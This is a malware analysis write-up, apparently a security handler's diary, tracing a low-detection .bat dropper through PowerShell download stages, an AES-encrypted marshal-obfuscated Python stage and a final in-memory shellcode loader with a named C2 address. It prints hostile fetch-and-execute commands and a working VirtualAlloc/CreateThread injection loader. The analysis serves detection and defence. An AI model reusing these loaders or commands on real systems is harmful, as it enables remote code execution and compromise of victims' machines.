I found a tiny .bat file that looked not suspicious at all: 3650.bat (SHA256:bca5c30a413db21f2f85d7297cf3a9d8cedfd662c77aacee49e821c8b7749290) with a very low VirusTotal score (2/65)[1]. The file is very simple, it invokes a PowerShell:
@shift /0 @echo off powershell.exe -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('hxxps://oshi[.]at/awMj/update.ps1')"
At first, the downloaded PowerShell script will fetch a bunch of ZIP archives and unpack them:
$newFolderPath = "C:\Users\Public\document" if (-not (Test-Path -Path $newFolderPath -PathType Container)) { New-Item -ItemType Directory -Path $newFolderPath | Out-Null Write-Host "Folder created successfully at $newFolderPath" } else { Write-Host "Folder already exists at $newFolderPath" } $downloads = @( @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/python311.zip"; Output = "C:\Users\Public\document\python311.zip" }, @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document1.zip"; Output = "C:\Users\Public\document1.zip" }, @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document2.zip"; Output = "C:\Users\Public\document2.zip" }, @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document3.zip"; Output = "C:\Users\Public\document3.zip" }, @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document4.zip"; Output = "C:\Users\Public\document4.zip" }, @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document5.zip"; Output = "C:\Users\Public\document5.zip" }, @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document6.zip"; Output = "C:\Users\Public\document6.zip" }, @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document7.zip"; Output = "C:\Users\Public\document7.zip" }, @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document8.zip"; Output = "C:\Users\Public\document8.zip" } ) foreach ($download in $downloads) { Start-Job -ScriptBlock { param($url, $output) Invoke-WebRequest -Uri $url -OutFile $output } -ArgumentList $download.Url, $download.Output } Get-Job | Wait-Job Get-Job | Format-Table -Property State, HasMoreData, Id, @{ Label = "Url"; Expression = { $downloads[$_.Name.Split("_")[1]].Url } }, @{ Label = "Output"; Expression = { $downloads[$_.Name.Split("_")[1]].Output } } Expand-Archive C:\Users\Public\document1.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinue Expand-Archive C:\Users\Public\document2.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinue Expand-Archive C:\Users\Public\document3.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinue Expand-Archive C:\Users\Public\document4.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinue Expand-Archive C:\Users\Public\document5.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinue Expand-Archive C:\Users\Public\document6.zip -DestinationPath "C:\Users\Public\document\Lib\site-packages" -Force -ErrorAction SilentlyContinue Expand-Archive C:\Users\Public\document7.zip -DestinationPath "C:\Users\Public\document\Lib\site-packages" -Force -ErrorAction SilentlyContinue Expand-Archive C:\Users\Public\document8.zip -DestinationPath "C:\Users\Public\document\Lib\site-packages" -Force -ErrorAction SilentlyContinue
It will fetch a complete Python environment with all the required libraries to execute the next stage:
Indeed, the next step is to download and execute a Python script:
Invoke-WebRequest hxxps://oshi[.]at/Nbmv/python.py -OutFile C:\Users\Public\python.py C:\Users\Public\document\python.exe C:\Users\Public\python.py
If the initial PowerShell script was not obfuscated, this Python one is definitively more tricky to read:
import zlib,marshal,base64;from Crypto.Cipher import AES;from Crypto.Random import get_random_bytes;from Crypto.Util.Padding import pad, unpad;exec(marshal.loads(base64.b64decode("YwAAAAAAAAAAAAAAAA ... (removed) ... AAAFACQDpyEAAAAA==")))
Marshal[2] is the internal Python object serialization module that contains functions to read and write Python values in a binary format. To have a first look at the Base64 payload, we can use the dis module[3]. The call to exec() means that Python will receive some bytecode. The dis module supports the analysis of bytecode by disassembling it. If you replace exec() by dis.dis(), you get more information about the next stage:
0 0 RESUME 0 1 2 LOAD_CONST 0 (0) 4 LOAD_CONST 1 (None) 6 IMPORT_NAME 0 (zlib) 8 STORE_NAME 0 (zlib) 10 LOAD_CONST 0 (0) 12 LOAD_CONST 1 (None) 14 IMPORT_NAME 1 (marshal) 16 STORE_NAME 1 (marshal) 18 LOAD_CONST 0 (0) 20 LOAD_CONST 1 (None) 22 IMPORT_NAME 2 (base64) 24 STORE_NAME 2 (base64) 26 LOAD_CONST 0 (0) 28 LOAD_CONST 2 (('AES',)) 30 IMPORT_NAME 3 (Crypto.Cipher) 32 IMPORT_FROM 4 (AES) 34 STORE_NAME 4 (AES) 36 POP_TOP 38 LOAD_CONST 0 (0) 40 LOAD_CONST 3 (('get_random_bytes',)) 42 IMPORT_NAME 5 (Crypto.Random) 44 IMPORT_FROM 6 (get_random_bytes) 46 STORE_NAME 6 (get_random_bytes) 48 POP_TOP 50 LOAD_CONST 0 (0) 52 LOAD_CONST 4 (('pad', 'unpad')) 54 IMPORT_NAME 7 (Crypto.Util.Padding) 56 IMPORT_FROM 8 (pad) 58 STORE_NAME 8 (pad) 60 IMPORT_FROM 9 (unpad) 62 STORE_NAME 9 (unpad) 64 POP_TOP 66 PUSH_NULL 68 LOAD_NAME 10 (exec) 70 PUSH_NULL 72 LOAD_NAME 0 (zlib) 74 LOAD_ATTR 11 (decompress) 84 LOAD_CONST 5 (b'x\x9c5Vy_\xdbF\x10\xfd*\\\x01;\x1c ... (removed) ... \xbf}h\xb5\xdb\xff\x01RX?6') 86 PRECALL 1 90 CALL 1 100 LOAD_METHOD 12 (decode) 122 PRECALL 0 126 CALL 0 136 PRECALL 1 140 CALL 1 150 POP_TOP 152 LOAD_CONST 1 (None) 154 RETURN_VALUE
The presence of references to Crypto functions and the hex-encoded payload reveals the technique used to decote the next stage.
Once the data decompressed, let’s decrypt manually the payload:
from Crypto.Cipher import AES from Crypto.Util.Padding import unpad key = b'\xe4TCV\x05.F\x97v\xb4\x9a_\x92\x8e^5\xc14\xd0fgY;"\xf3gu:h\x92\xc0\x08' iv = b'\xeb<\xd0\xdb\\\xef[7ns\xe47\x84c\xc4C' ciphertext = b'nrs.wn=\x85\xc7\x85\xd0\xacL\x97\xf1\xd6 … \xd9\x88\xd9\xe7\x12\x9d\xc8&' cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) print(plaintext.decode('utf-8'))
We have the final Python payload:
import ctypes from pathlib import Path import base64 import requests payload_data = base64.b64decode(requests.get("hxxps://files[.]catbox[.]moe/7p917w.txt").text) shellcode = bytearray(payload_data) # Removed unnecessary part kernel32 = ctypes.windll.kernel32 kernel32.VirtualAlloc.restype = ctypes.c_void_p kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t] ptr = kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) # Use specific address instead of None buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) kernel32.RtlMoveMemory(ptr, buffer, len(shellcode)) handle = kernel32.CreateThread(None, 0, ctypes.c_void_p(ptr), None, 0, None) kernel32.WaitForSingleObject(handle, -1)
This code will fetch the final shellcode and execute it from memory. The shellcode has been generated with Donut[4]. It tries to phone home to 160.30.21.115:7000 but the C2 is down at the moment...
[1] https://www.virustotal.com/gui/file/bca5c30a413db21f2f85d7297cf3a9d8cedfd662c77aacee49e821c8b7749290
[2] https://docs.python.org/fr/3/library/marshal.html
[3] https://docs.python.org/3/library/dis.html
[4] https://github.com/TheWover/donut
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key